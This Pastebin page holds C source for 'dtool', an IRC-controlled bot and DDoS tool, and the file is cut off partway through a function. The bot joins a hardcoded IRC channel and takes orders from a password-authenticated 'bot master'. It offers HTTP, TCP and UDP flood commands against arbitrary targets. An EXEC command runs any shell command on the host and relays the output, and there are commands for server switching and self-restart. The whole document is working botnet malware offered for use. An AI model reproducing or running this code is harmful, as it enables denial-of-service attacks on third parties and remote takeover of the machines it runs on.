Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /**
- * A tiny IRC bot/DDoS utility with support for TCP, UDP and HTTP flood.
- *
- * You can use this utility in any way you want, I'm not responsible for any
- * illegal usage or damage caused by this code (In fact, I don't give a shit >:).
- *
- * 2010 by DiAvOl
- * Version 0.3
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <fcntl.h>
- #include <ctype.h>
- #include <string.h>
- #include <strings.h>
- #include <time.h>
- #include <inttypes.h>
- #include <stdarg.h>
- #include <errno.h>
- #include <signal.h>
- #include <pthread.h>
- #include <netdb.h>
- #include <sys/select.h>
- #include <sys/time.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- /* IRC server connection configuration. */
- #define IRC_HOST "irc.anthrochat.net"
- #define IRC_PORT 6667
- #define IRC_CHANNEL "#kek"
- #define IRC_CHANNEL_KEY ""
- #define IRC_SERVER_PASS ""
- /* Client configuration. */
- #define IRC_NICK_PREFIX "dtool"
- #define IRC_REALNAME "dtool"
- #define IRC_USERNAME "dtool"
- #define IRC_COMMAND_CHARACTER '.' /* Commands should begin with this character. */
- /* Password used for authentication (bot master). */
- #define MASTER_PASSWORD "off"
- /* Only connections macthing this host are allowed to authenticate. */
- #define HOST_ALLOW "*" /* Wildcard characters '?' and '*' are accepted. */
- /********** Basic configuration up to this point.. more advanced below **********/
- /* How often to check for socket timeouts (in seconds). */
- #define CHECK_TIMEOUT 5
- /* A value of 10 will cause the client to send a PRIVMSG to the channel defined
- * above for every 10 MB of data traffic (sent/received depending on the attack type).
- * Additional statistics will be shown too (speed, total mb read/sent).
- */
- #define REPORT_IF_SIZE 30 /* in megabytes. */
- /* The buffer size. 8192 is a good value. */
- #define BUFFER_SIZE 8192
- /* 32 should be ok for most IRC servers. */
- #define NICKMAX 32
- /* Max IRC message length. */
- #define MAX_MSG_LEN 512
- /* I know.. the http header below could be much better (user agent, keepalive options etc.) */
- #define HTTP_REQUEST "GET %s HTTP/1.0\nHost: %s\n\n"
- /* Bitmask definitions used as status flags. */
- #define SS_CONNECTING 0x1
- #define SS_CONNECTED 0x2
- #define SS_BLOCKED 0x4
- /* The following MACROS accept a socket_t pointer. */
- #define SET_CONNECTING(sock) ((sock)->status |= SS_CONNECTING)
- #define SET_CONNECTED(sock) ((sock)->status |= SS_CONNECTED)
- #define SET_BLOCKED(sock) ((sock)->status |= SS_BLOCKED)
- #define UNSET_CONNECTING(sock) ((sock)->status &= ~SS_CONNECTING)
- #define UNSET_CONNECTED(sock) ((sock)->status &= ~SS_CONNECTED)
- #define UNSET_BLOCKED(sock) ((sock)->status &= ~SS_BLOCKED)
- #define IS_CONNECTING(sock) ((sock)->status & SS_CONNECTING)
- #define IS_CONNECTED(sock) ((sock)->status & SS_CONNECTED)
- #define IS_BLOCKED(sock) ((sock)->status & SS_BLOCKED)
- /* "Attack" type definitions. */
- #define T_TCP 1
- #define T_UDP 2
- #define T_HTTP 3
- /* Options for the command parser (currently only the one below). */
- #define OPT_TOKENIZE 0x1
- /* Maximum number of FD's for this process (normally 1024). */
- #ifdef FD_SETSIZE
- #define MAX_FDS FD_SETSIZE
- #else
- #define MAX_FDS 1024
- #endif
- /* Avoid unused variable warnings for GCC. */
- #ifndef ATTRIBUTE_UNUSED
- #if defined(__GNUC__) && (__GNUC__ > 3 || __GNUC__ == 3 && __GNUC_MINOR__ > 0)
- #define ATTRIBUTE_UNUSED __attribute__((unused))
- #else
- #define ATTRIBUTE_UNUSED
- #endif
- #endif
- /* Total number of microseconds in a timeval structure. */
- #define MICROSECOND_DIFF(tv) (((tv)->tv_sec * 1000000) + (tv)->tv_usec)
- /* Max number of parameters for user commands. */
- #define MAX_PARAM 15
- /* Convenience macros. */
- #define BYTES_TO_MB(B) (((B) / 1024) / 1024)
- #define MB_TO_BYTES(mb) (((mb) * 1024) * 1024)
- /* typedef's makes our life easier (and harder for code readers probably). */
- typedef struct _socket socket_t;
- typedef struct _treadargs treadargs_t;
- typedef struct _threaddata threaddata_t;
- typedef struct _eventset eventset_t;
- typedef struct _stats stats_t;
- typedef struct _user user_t;
- typedef struct _ircserver ircserver_t;
- typedef struct _cmd cmd_t;
- typedef ssize_t(*sock_cb)(threaddata_t *, socket_t *);
- typedef void (*conn_cb)(threaddata_t *);
- /* IRC server info structure. */
- struct _ircserver {
- char *host; /* Server's host. */
- uint16_t port; /* Server's port. */
- char *channel; /* Channel to join when connected. */
- char *channel_key; /* Channel's key, if any. */
- char *server_pass; /* Server's password, if any. */
- };
- /* User structure for the local client and for command parsing. */
- struct _user {
- char *nick; /* IRC nickname. */
- char *realname; /* IRC realname (gcos). */
- char *username; /* IRC username. */
- char *host; /* IRC host address string. */
- };
- /* Socket structure with all the required data in one place. */
- struct _socket {
- int sockfd; /* Socket file descriptor. */
- uint32_t status; /* Status flags (connected, connecting etc.) */
- time_t socket_time; /* Socket time currently used for timeout code (seconds). */
- int wbufp; /* The offset of the write buffer for the HTTP attack type. */
- sock_cb write_cb; /* Callback called when a write() would not block. */
- sock_cb read_cb; /* Callback called when a read() would not block. */
- };
- /* Thread argument's structure passed from the "main" thread to the worker thread. */
- struct _treadargs {
- char host[255]; /* Remote (target) host - not really needed.*/
- char file[255]; /* The file to abuse with the HTTP attack. */
- uint16_t port; /* Remote server's port - not really needed.*/
- uint16_t total_connections; /* number of connections to make. */
- uint16_t socket_timeout; /* socket timeout in seconds. */
- uint16_t packet_size; /* (obviously) the size of the packet to construct. */
- int32_t write_delay; /* Time to wait before doing more write()'s in milliseconds. */
- uint8_t type; /* Attack type for this thread. */
- struct sockaddr_in serveraddr; /* Targets address structure. */
- unsigned long size; /* How many MB's to waste.. */
- };
- /* Eventset structure. */
- struct _eventset {
- fd_set readfds; /* The "global" read fd set. */
- fd_set writefds; /* The "global" write fd set. */
- };
- /* Stats structure for both received and sent data. */
- struct _stats {
- long long total_bytes; /* Total bytes read/sent. */
- long long last_bytes; /* Used for speed calculation. */
- unsigned long total_mb; /* Total mb read/sent. */
- time_t LAST_CAPTURE_TIME; /* Used for speed calculation. */
- };
- /* The "global" data for this thread. I know, it's ugly.. */
- struct _threaddata {
- eventset_t e; /* read/write event set for I/O. */
- int maxfd; /* Highest 'active' fd. */
- uint16_t port; /* Target port. */
- uint16_t active_sockets; /* The number of active sockets (connected/connecting). */
- uint16_t total_connections; /* Number of connections to initiate. */
- uint8_t socket_timeout; /* Socket timeout in seconds. */
- int32_t write_delay; /* Delay in writing. */
- struct timeval DELAY_TIME; /* Delay time for write delay (both seconds and microseconds). */
- struct timeval CURRENT_TIME; /* Current time (both seconds and microseconds). */
- time_t LAST_TIMEOUT_CHECK; /* Used for the socket timeout checking. */
- socket_t fdlist[MAX_FDS]; /* The fd list. */
- char wbuffer[1500]; /* Write buffer. */
- char rbuffer[BUFFER_SIZE]; /* Read buffer. */
- int wbuf_len; /* Write buffer contents length. */
- struct sockaddr_in serveraddr; /* Remote host internet address. */
- stats_t rstats; /* Read stats. */
- stats_t wstats; /* Write stats. */
- unsigned long size; /* Total size to read/write (in megabytes). */
- unsigned long connections_succeed; /* Completed connections count. */
- unsigned long connections_failed; /* Failed connections count. */
- sock_cb write_cb; /* Callback function called when a socket is ready for writting. */
- sock_cb read_cb; /* Callback function called when a socket is ready for reading. */
- conn_cb open_connection; /* Callback function called when a connection should be made. */
- };
- /* Command structure for the user command's parser. */
- struct _cmd {
- char *command; /* Command string. */
- uint8_t options; /* The only option supported at the moment is OPT_TOKENIZE. */
- void (*handler)(user_t *, int argc, char *argv[]); /* Command handler function. */
- };
- static int sock; /* The main socket connected to the IRC server. */
- static char buffer[MAX_MSG_LEN]; /* Buffer for IRC messages. */
- static char tmpbuf[2 * sizeof (buffer)]; /* Should be at least sizeof(buffer) x 2. */
- static int tmpbufp; /* Temporary buffer pointer. */
- static char hostname[50]; /* System's hostname. */
- static char rnd_str[10]; /* Used for random nickname generation. */
- static pthread_mutex_t wr_lock; /* Mutex for serialized write()'s on the same FD. */
- static treadargs_t thread_data; /* Arguments passed to the worker thread from the main thread. */
- static pthread_t pthread; /* Thread handle used for by all the pthread functions. */
- static char *program_executable; /* Path to the program's executable (for execv). */
- static ircserver_t irc_srv; /* IRC server information. */
- static user_t bot_master; /* The bot masters user. */
- static user_t user; /* Our client. */
- static struct timeval CURRENT_TIME; /* The global main thread's timeval structure. */
- /* Main & IRC related functions. */
- static int parse_line(char *line);
- static void parse_privmsg( user_t *client, char *privmsg);
- static void make_user(user_t *client, char *sender);
- static char *random_nick(void);
- static void do_restart(char *av[]);
- static void *thread_function(void *tdata);
- /* I/O functions. */
- static void init_fdset(fd_set *set);
- static void init_fdlist(socket_t *fd_list);
- static void rw_socket(threaddata_t *data, socket_t *sock, int r, int w);
- static ssize_t write_data(int sock, void *data, size_t len);
- static void sock_printf(char *fmt, ...);
- static void check_timeouts(threaddata_t *data);
- static void check_active_sockets(threaddata_t *data);
- static void check_write_delay(threaddata_t *data);
- static void io_loop(threaddata_t *data);
- static void setnonblocking(int sockfd);
- static void add_socket(threaddata_t *data, socket_t *sock, fd_set *set);
- static void del_socket(threaddata_t *data, socket_t *sock);
- static void add_fd(int fd, fd_set *set);
- static void del_fd(int fd, fd_set *set);
- /* I/O callback functions. */
- static void open_udp(threaddata_t *data);
- static void open_tcp_connection(threaddata_t *data);
- static ssize_t read_tcp1(threaddata_t *data, socket_t *sock);
- static ssize_t write_tcp1(threaddata_t *data, socket_t *sock);
- static ssize_t write_tcp2(threaddata_t *data, socket_t *sock);
- static ssize_t write_udp1(threaddata_t *data, socket_t *sock);
- /* Misc functions. */
- static void dns(const char *address, struct sockaddr_in *saddr);
- static char *fqdn(char *buf, size_t blen);
- static char *random_string(char *buf, int blen);
- static char *strtok_remaining(void);
- static int terminate_thread(void);
- static void free_user(user_t *user);
- static void report_speed(threaddata_t *data, stats_t *stats, const char *type);
- static struct timeval get_time(time_t *t);
- static int match_wild(const char *pattern, const char *str);
- static int do_match_wild(const char *pattern, const char *str, int docase);
- int timeval_subtract(struct timeval *result, struct timeval *x, struct timeval *y);
- /* Command handler functions. */
- static void http_flood(user_t *user, int argc, char *argv[]);
- static void tcp_flood(user_t *user, int argc, char *argv[]);
- static void udp_flood(user_t *user, int argc, char *argv[]);
- static void raw_cmd(user_t* user, int argc, char* argv[]);
- static void quit_cmd(user_t *user, int argc, char *argv[]);
- static void stop_cmd(user_t *user, int argc, char *argv[]);
- static void restart_cmd(user_t *user, int argc, char *argv[]);
- static void auth_cmd(user_t *user, int argc, char *argv[]);
- static void logout_cmd(user_t *user, int argc, char *argv[]);
- static void exec_cmd(user_t *user, int argc, char *argv[]);
- static void change_server(user_t *user, int argc, char *argv[]);
- cmd_t command_table[] = {
- { "HTTPFLOOD", OPT_TOKENIZE, http_flood},
- { "TCPFLOOD", OPT_TOKENIZE, tcp_flood},
- { "UDPFLOOD", OPT_TOKENIZE, udp_flood},
- { "AUTH", 0, auth_cmd},
- { "RAW", 0, raw_cmd},
- { "EXEC", 0, exec_cmd},
- { "CHSERVER", OPT_TOKENIZE, change_server},
- { "STOP", 0, stop_cmd},
- { "RESTART", 0, restart_cmd},
- { "QUIT", 0, quit_cmd},
- { "LOGOUT", 0, logout_cmd},
- { NULL, 0, NULL}
- };
- /**** MAIN & IRC PARSING FUNCTIONS BELOW ****/
- /**
- * main
- *
- * Everything starts here..
- * Connect to the IRC server and start parsing messages.
- */
- int main(int argc, char *argv[]) {
- struct sockaddr_in serveraddr;
- ssize_t b;
- char *p, *s;
- /* This should never happen.. (happened to me though while restarting :). */
- if (argc < 1) {
- fprintf(stderr, "Invalid number of arguments: %d\n", argc);
- exit(EXIT_FAILURE);
- } else if (argc >= 4) {
- argc--;
- irc_srv.host = argv[1]; argc--;
- irc_srv.port = atoi(argv[2]); argc--;
- irc_srv.channel = argv[3]; argc--;
- if (argc) {
- irc_srv.channel_key = argv[4]; argc--;
- } else {
- irc_srv.channel_key = NULL;
- }
- if (argc) {
- irc_srv.server_pass = argv[5]; argc--;
- } else {
- irc_srv.server_pass = NULL;
- }
- } else {
- irc_srv.host = IRC_HOST;
- irc_srv.port = IRC_PORT;
- irc_srv.channel = IRC_CHANNEL;
- irc_srv.server_pass = IRC_SERVER_PASS;
- irc_srv.channel_key = IRC_CHANNEL_KEY;
- }
- /* Write()'s on closed sockets can crash the application. */
- signal(SIGPIPE, SIG_IGN);
- /* Generate better pseudo-random numbers. */
- srand((unsigned int) time(NULL) + getpid());
- /* Save executable's path for RESTART (can be done with /proc/self too). */
- program_executable = argv[0];
- fqdn(hostname, 50); /* Get systems hostname. */
- fprintf(stdout, "Hostname: %s\n", hostname);
- user.nick = strdup(random_nick());
- user.realname = strdup(IRC_REALNAME);
- user.username = strdup(IRC_USERNAME);
- user.host = strdup("127.0.0.1");
- memset((char *) & serveraddr, 0, sizeof (serveraddr));
- serveraddr.sin_family = AF_INET;
- serveraddr.sin_port = htons(irc_srv.port);
- dns(irc_srv.host, &serveraddr);
- sock = socket(AF_INET, SOCK_STREAM, 0);
- if (sock < 0) {
- perror("socket()");
- exit(EXIT_FAILURE);
- }
- fprintf(stdout, "Connecting to %s:%u.\n", irc_srv.host, irc_srv.port);
- if (connect(sock, (struct sockaddr *) & serveraddr,
- sizeof (serveraddr)) < 0) {
- perror("connect()");
- do_restart(NULL); /* Keep restarting until we get a connection to the server. */
- exit(EXIT_FAILURE);
- }
- if (irc_srv.server_pass && irc_srv.server_pass[0]) {
- sock_printf("PASS %s", irc_srv.server_pass);
- }
- sock_printf("NICK %s\nUSER %s 8 * :%s", user.nick, user.username,
- user.realname);
- do {
- b = read(sock, buffer, sizeof (buffer));
- CURRENT_TIME = get_time(NULL);
- memcpy((char *) tmpbuf + tmpbufp, (char *) buffer, B);
- tmpbufp += b;
- s = tmpbuf;
- while ((p = strchr(s, '\n'))) {
- *p++ = '\0';
- parse_line(s);
- s = p;
- }
- tmpbufp -= s - tmpbuf;
- if (tmpbufp) {
- memmove(tmpbuf, s, tmpbufp);
- }
- } while (b > 0);
- if (b <= 0) {
- perror("read()");
- do_restart(argv);
- /* Normally never reached. */
- exit(EXIT_FAILURE);
- }
- close(sock); /* Close the IRC server socket. */
- free_user(&user); /* Free the local user data structure. */
- return 0;
- }
- /**************************************************************************/
- /**
- * do_restart
- *
- * If all else fails..
- */
- static void do_restart(char *av[]) {
- char * avd[] = {NULL, NULL};
- avd[0] = program_executable;
- execv(program_executable, av ? av : avd);
- /* Should not return */
- fprintf(stderr, "Restart failed: %s\n", strerror(errno));
- exit(EXIT_FAILURE);
- }
- /**************************************************************************/
- /**
- * make_user
- *
- * Return a user structure after parsing the prefix message.
- */
- static void make_user(user_t *client, char *prefix) {
- char *s = prefix;
- client->realname = NULL;
- client->nick = s;
- while (*s && *s != '!') {
- s++;
- }
- if (!*s) {
- client->username = NULL;
- client->host = NULL;
- return;
- }
- *s++ = '\0';
- client->username = s;
- while (*s != '@') {
- s++;
- }
- *s++ = '\0';
- client->host = s;
- return;
- }
- /**************************************************************************/
- /**
- * parse_line
- *
- * Parse an IRC message line.
- */
- static int parse_line(char *line) {
- char *prefix, *command, *target;
- user_t client;
- size_t len;
- char *s = line;
- if (*s == ':') {
- prefix = ++s;
- while (*s != ' ') {
- s++;
- }
- *s++ = '\0';
- make_user(&client, prefix);
- } else {
- prefix = NULL;
- }
- command = s;
- while (*s != ' ') {
- s++;
- }
- *s++ = '\0';
- target = s;
- if (*s == ':') {
- target = NULL;
- } else {
- while (*s != ' ') {
- s++;
- }
- *s++ = '\0';
- }
- s++;
- len = strlen(s);
- /* Remove CR character from the end of the string. */
- if (s[len - 1] == '\r') {
- s[len - 1] = '\0';
- }
- /* Numeric command. */
- if (isdigit(command[0])) {
- switch (atoi(command)) {
- case 001: /* Client connected to the server - join the main channel. */
- sock_printf("JOIN %s %s", irc_srv.channel, irc_srv.channel_key);
- break;
- case 433: /* Current nick is in use, change nick. */
- sock_printf("NICK %s", random_nick());
- break;
- }
- } else { /* String command. */
- if (strcmp(command, "PRIVMSG") == 0) { /* Private message received. */
- parse_privmsg(&client, s);
- } else if (strcmp(command, "NOTICE") == 0) { /* Notice received. */
- parse_privmsg(&client, s);
- } else if (strcmp(command, "PING") == 0) { /* PONG. */
- sock_printf("PONG :%s", s);
- } else if (strcmp(command, "PART") == 0) { /* User parts channel. */
- if (bot_master.nick && strcasecmp(bot_master.nick, prefix) == 0
- && strcasecmp(irc_srv.channel, target) == 0) {
- /* Bot master left the building. */
- bot_master.nick = NULL;
- bot_master.host = NULL;
- }
- } else if (strcmp(command, "KICK") == 0) { /* User kicked (is this us?) */
- char *p = s;
- while(*p != ' ') {
- p++;
- }
- *p = '\0';
- if (strcasecmp(irc_srv.channel, target) == 0 && strcasecmp(user.nick, s)) {
- sock_printf("JOIN %s %s", irc_srv.channel, irc_srv.channel_key);
- }
- } else if (strcmp(command, "QUIT") == 0) { /* Users quits IRC. */
- if (bot_master.nick && strcasecmp(bot_master.nick, prefix) == 0) {
- /* Bot master left the building. */
- bot_master.nick = NULL;
- bot_master.host = NULL;
- }
- }
- }
- return 0;
- }
- /**************************************************************************/
- /**
- * random_nick
- *
- * Generate a partially random nickname and return it.
- */
- static char *random_nick(void) {
- static char nick[NICKMAX];
- random_string(rnd_str, 10);
- snprintf(nick, NICKMAX, "%s%s", IRC_NICK_PREFIX, rnd_str);
- return nick;
- }
- /**************************************************************************/
- /**
- * parse_privmsg
- *
- * Parse the private message string and execute user commands.
- */
- static void parse_privmsg(user_t *client, char *privmsg) {
- char *params[MAX_PARAM];
- int valid_client = 0, paramcnt = 0;
- int i;
- cmd_t *cmd = NULL;
- char *token;
- if (bot_master.nick) {
- if (strcmp(bot_master.nick, client->nick) == 0
- && strcmp(bot_master.host, client->host) == 0) {
- valid_client = 1;
- }
- }
- if (privmsg[0] != IRC_COMMAND_CHARACTER) {
- return;
- }
- privmsg++; /* Skip command character. */
- token = strtok(privmsg, " ");
- if (!token) {
- return;
- }
- /* Only allow the auth command to unauthorized users. */
- if (strcasecmp(token, "AUTH") != 0 && !valid_client) {
- return;
- }
- params[paramcnt++] = token;
- for (i = 0; command_table[i].command; i++) {
- if (strcasecmp(params[0], command_table[i].command) == 0) {
- cmd = &command_table[i];
- break;
- }
- }
- if (cmd) {
- if (cmd->options & OPT_TOKENIZE) {
- while ((token = strtok(NULL, " ")) && paramcnt < MAX_PARAM) {
- params[paramcnt++] = token;
- }
- } else {
- token = strtok_remaining();
- if (token) {
- params[paramcnt++] = token;
- }
- }
- /* Do not include the command parameter. */
- cmd->handler(client, paramcnt - 1, ¶ms[1]);
- }
- }
- /**************************************************************************/
- /**** COMMAND HANDLING FUNCTIONS BELOW ****/
- #define HTTP_FLOOD_USAGE "Usage: HTTPFLOOD \037host\037 \037port\037 \037file\037 \037size " \
- "(in MB)\037 \037connections\037 \037timeout (seconds)\037 \037delay (milliseconds)\037"
- /**
- * http_flood
- *
- * Handle the http flood attack.
- */
- static void http_flood(user_t *user, int argc, char *argv[]) {
- int rc;
- if (argc < 7) {
- sock_printf("PRIVMSG %s :[%s] %s",
- irc_srv.channel, hostname, HTTP_FLOOD_USAGE);
- return;
- }
- strncpy(thread_data.host, argv[0], 255);
- thread_data.port = atoi(argv[1]);
- strncpy(thread_data.file, argv[2], 255);
- thread_data.size = atol(argv[3]);
- thread_data.total_connections = atoi(argv[4]);
- thread_data.socket_timeout = atoi(argv[5]);
- thread_data.write_delay = atoi(argv[6]);
- thread_data.type = T_HTTP;
- memset((char *) & thread_data.serveraddr, 0, sizeof (thread_data.serveraddr));
- thread_data.serveraddr.sin_family = AF_INET;
- thread_data.serveraddr.sin_port = htons(thread_data.port);
- dns(thread_data.host, &thread_data.serveraddr);
- rc = pthread_create(&pthread, NULL, thread_function, (void *) & thread_data);
- if (rc) {
- printf("ERROR; return code from pthread_create() is %d\n", rc);
- sock_printf("PRIVMSG %s :[%s] Erroneus return code from "
- "pthread_create() => %d",
- irc_srv.channel, hostname, rc);
- }
- sock_printf("PRIVMSG %s :[%s] {HTTPFLOOD} Started consuming data from host %s on port %d getting"
- " file %s (%s)", irc_srv.channel, hostname, thread_data.host, thread_data.port, thread_data.file, user->nick);
- }
- /**************************************************************************/
- #define TCP_FLOOD_USAGE "Usage: TCPFLOOD \037host\037 \037port\037 \037packetsize\037 \037size " \
- "(in MB)\037 \037connections\037 \037timeout (seconds)\037 \037delay (milliseconds)\037"
- /**
- * tcp_flood
- *
- * Handle the tcp flood attack.
- */
- static void tcp_flood(user_t *user, int argc, char *argv[]) {
- int rc;
- if (argc < 7) {
- sock_printf("PRIVMSG %s :[%s] %s",
- irc_srv.channel, hostname, TCP_FLOOD_USAGE);
- return;
- }
- strncpy(thread_data.host, argv[0], 100);
- thread_data.port = atoi(argv[1]);
- thread_data.packet_size = atoi(argv[2]);
- thread_data.size = atol(argv[3]);
- thread_data.total_connections = atoi(argv[4]);
- thread_data.socket_timeout = atoi(argv[5]);
- thread_data.write_delay = atoi(argv[6]);
- thread_data.type = T_TCP;
- memset((char *) & thread_data.serveraddr, 0, sizeof (thread_data.serveraddr));
- thread_data.serveraddr.sin_family = AF_INET;
- thread_data.serveraddr.sin_port = htons(thread_data.port);
- dns(thread_data.host, &thread_data.serveraddr);
- rc = pthread_create(&pthread, NULL, thread_function, (void *) & thread_data);
- if (rc) {
- printf("ERROR; return code from pthread_create() is %d\n", rc);
- sock_printf("PRIVMSG %s :[%s] Erroneus return code from "
- "pthread_create() => %d",
- irc_srv.channel, hostname, rc);
- }
- sock_printf("PRIVMSG %s :[%s] {TCPFLOOD} Started sending tcp data to host %s on port %d (%s)",
- irc_srv.channel, hostname, thread_data.host, thread_data.port, user->nick);
- }
- /**************************************************************************/
- #define UDP_FLOOD_USAGE "Usage: UDPFLOOD \037host\037 \037port\037 \037packetsize\037 \037size " \
- "(in MB)\037 \037connections\037 \037delay (miliseconds)\037"
- /**
- * udp_flood
- *
- * Handle the udp flood attack.
- */
- static void udp_flood(user_t *user, int argc, char *argv[]) {
- int rc;
- if (argc < 6) {
- sock_printf("PRIVMSG %s :[%s] %s",
- irc_srv.channel, hostname, UDP_FLOOD_USAGE);
- return;
- }
- strncpy(thread_data.host, argv[0], 100);
- thread_data.port = atoi(argv[1]);
- thread_data.packet_size = atoi(argv[2]);
- thread_data.size = atol(argv[3]);
- thread_data.total_connections = atoi(argv[4]);
- thread_data.write_delay = atoi(argv[5]);
- thread_data.type = T_UDP;
- memset((char *) & thread_data.serveraddr, 0, sizeof (thread_data.serveraddr));
- thread_data.serveraddr.sin_family = AF_INET;
- if (thread_data.port > 0) {
- thread_data.serveraddr.sin_port = htons(thread_data.port);
- }
- dns(thread_data.host, &thread_data.serveraddr);
- rc = pthread_create(&pthread, NULL, thread_function, (void *) & thread_data);
- if (rc) {
- printf("ERROR; return code from pthread_create() is %d\n", rc);
- sock_printf("PRIVMSG %s :[%s] Erroneus return code from "
- "pthread_create() => %d",
- irc_srv.channel, hostname, rc);
- }
- sock_printf("PRIVMSG %s :[%s] {UDPFLOOD} Started sending udp data to host %s on port %d (%s)",
- irc_srv.channel, hostname, thread_data.host, thread_data.port, user->nick);
- }
- /**************************************************************************/
- #define RAW_CMD_USAGE "Usage: RAW \037command\037"
- /**
- * raw_cmd
- *
- * Send a RAW command to the IRC server.
- */
- static void raw_cmd(user_t *user, int argc, char *argv[]) {
- if (argc < 1) {
- sock_printf("PRIVMSG %s :[%s] %s",
- irc_srv.channel, hostname, RAW_CMD_USAGE);
- return;
- }
- sock_printf("PRIVMSG %s :[%s] {RAW} Executing command: %s (%s)",
- irc_srv.channel, hostname, argv[0], user->nick);
- sock_printf(argv[0]);
- }
- /**************************************************************************/
- /**
- * quit_cmd
- *
- * Quit from the IRC Server and don't come back.
- */
- static void quit_cmd(user_t *user, int argc, char *argv[]) {
- sock_printf("PRIVMSG %s :[%s] {QUIT} %s (%s)",
- irc_srv.channel, hostname, (argc > 0) ? argv[0] : "-", user->nick);
- if (argc > 0) {
- sock_printf("QUIT :%s", argv[0]);
- }
- close(sock);
- exit(EXIT_SUCCESS);
- }
- /**************************************************************************/
- /**
- * stop_cmd
- *
- * Stop any in progress attack.
- * TODO: Return useful info from the terminated thread.
- */
- static void stop_cmd(user_t *user, int argc ATTRIBUTE_UNUSED, char *argv[] ATTRIBUTE_UNUSED) {
- int ret;
- ret = terminate_thread();
- sock_printf("PRIVMSG %s :[%s] {STOP} Stop command -> %s (%s)",
- irc_srv.channel, hostname,
- ret ? "attack stoped" : "no running attack", user->nick);
- }
- /**************************************************************************/
- /**
- * restart_cmd
- *
- * Restart dtool and reconnect to the default IRC server.
- */
- static void restart_cmd(user_t *user, int argc ATTRIBUTE_UNUSED, char *argv[] ATTRIBUTE_UNUSED) {
- sock_printf("PRIVMSG %s :[%s] {RESTART} (%s)",
- irc_srv.channel, hostname, user->nick);
- close(sock);
- do_restart(NULL);
- exit(EXIT_FAILURE);
- }
- /**************************************************************************/
- #define EXEC_CMD_USAGE "Usage: EXEC \037command\037"
- /**
- * exec_cmd
- *
- * Execute a command on the client's system and return output
- * as a private message to the sender.
- */
- static void exec_cmd(user_t *user, int argc, char *argv[]) {
- char line[1024];
- FILE *fp;
- size_t len;
- if (argc < 1) {
- sock_printf("PRIVMSG %s :[%s] %s",
- irc_srv.channel, hostname, EXEC_CMD_USAGE);
- return;
- }
- sock_printf("PRIVMSG %s :[%s] {EXEC} Executing command: %s (%s)",
- irc_srv.channel, hostname, argv[0], user->nick);
- snprintf(line, sizeof(line), "%s 2>&1", argv[0]); /* Get stderr output too. */
- fp = popen(line, "r");
- if (!fp) {
- sock_printf("PRIVMSG %s :[%s] Unable to execute command",
- irc_srv.channel, hostname, argv[0]);
- return;
- }
- while (fgets(line, 1024, fp) != NULL) {
- len = strlen(line);
- /* Remove the LF from the end of the string. */
- if (line[len - 1] == '\n') {
- line[len - 1] = '\0';
- }
- /* Truncate string if needed. */
- if (len == 1024) {
- len--;
- }
- line[len] = '\0'; /* NULL terminate. */
- sock_printf("PRIVMSG %s :%s", user->nick, line);
- }
- if (pclose(fp) < 0) {
- sock_printf("PRIVMSG %s :[%s] Error occured while closing the pipe",
- irc_srv.channel, hostname);
- }
- }
- /**************************************************************************/
- #define AUTH_CMD_USAGE "Usage: AUTH \037password\037"
- /**
- * auth_cmd
- *
- * Authenticate as the bot master to dtool.
- * The user must match the HOST_ALLOW wildcard address in order
- * to be able to authenticate.
- */
- static void auth_cmd(user_t *user, int argc, char *argv[]) {
- if (argc < 1) {
- sock_printf("PRIVMSG %s :[%s] %s",
- irc_srv.channel, hostname, AUTH_CMD_USAGE);
- return;
- }
- if (!match_wild(HOST_ALLOW, user->host)) {
- return;
- }
- if (strcmp(MASTER_PASSWORD, argv[0]) == 0) {
- bot_master = *user;
- sock_printf("PRIVMSG %s :[%s] {AUTH} User %s!%s@%s logged in",
- irc_srv.channel, hostname, user->nick, user->username, user->host);
- }
- }
- /**************************************************************************/
- #define CHSERVER_USAGE "Usage: CHSERVER \037host\037 \037port\037 \037channel\037 " \
- "\037[channel key]\037 \037[server pass]\037"
- /**
- * change_server
- *
- * Connect to another IRC server.
- */
- static void change_server(user_t *user, int argc, char *argv[]) {
- char **av;
- int i;
- if (argc < 3) {
- sock_printf("PRIVMSG %s :[%s] %s",
- irc_srv.channel, hostname, CHSERVER_USAGE);
- return;
- }
- sock_printf("PRIVMSG %s :[%s] {CHSERVER} Changing server: %s:%s (%s)",
- irc_srv.channel, hostname, argv[0], argv[1], user->nick);
- av = (char **) malloc((argc+2) * sizeof(char *));
- av[0] = program_executable;
- for (i=0; i < argc; i++) {
- av[i+1] = argv[i];
- }
- av[i+1] = NULL;
- close(sock);
- do_restart(av);
- exit(EXIT_FAILURE); /* Should never reach here. */
- }
- /**************************************************************************/
- /**
- * logout_cmd
- *
- * Cancel bot master authentication.
- */
- static void logout_cmd(user_t *user, int argc ATTRIBUTE_UNUSED, char *argv[] ATTRIBUTE_UNUSED) {
- bot_master.nick = NULL;
- bot_master.host = NULL;
- sock_printf("PRIVMSG %s :[%s] {AUTH} User %s!%s@%s logged out",
- irc_srv.channel, hostname, user->nick, user->username, user->host);
- }
- /**************************************************************************/
- /**
- * thread_function
- *
- * The main thread function called to initiate an attack.
- */
- static void *thread_function(void *tdata) {
- int i;
- threaddata_t data;
- treadargs_t *arg_data = (treadargs_t *) tdata;
- /* Initialization. */
- memset(&data, 0, sizeof (threaddata_t));
- init_fdlist(data.fdlist);
- init_fdset(&data.e.readfds);
- init_fdset(&data.e.writefds);
- if (arg_data->type == T_HTTP) {
- i = snprintf(data.wbuffer, sizeof (data.wbuffer), HTTP_REQUEST,
- arg_data->file, arg_data->host);
- data.wbuf_len = i;
- data.write_cb = write_tcp1;
- data.open_connection = open_tcp_connection;
- } else if ((arg_data->type == T_TCP) || (arg_data->type == T_UDP)) {
- if (arg_data->packet_size > 1492) {
- arg_data->packet_size = 1492;
- }
- /* Generate a packet with random data. */
- for (i = 0; i < arg_data->packet_size; i++) {
- data.wbuffer[i] = (rand() % 255) + 1;
- }
- data.wbuf_len = arg_data->packet_size;
- data.write_cb = (arg_data->type == T_TCP) ? write_tcp2 : write_udp1;
- data.open_connection = (arg_data->type == T_TCP) ? open_tcp_connection : open_udp;
- }
- data.port = arg_data->port;
- data.read_cb = read_tcp1;
- data.write_delay = arg_data->write_delay;
- /* Initialize time & timers. */
- data.CURRENT_TIME = get_time(NULL);
- data.LAST_TIMEOUT_CHECK = data.rstats.LAST_CAPTURE_TIME = data.wstats.LAST_CAPTURE_TIME = data.CURRENT_TIME.tv_sec;
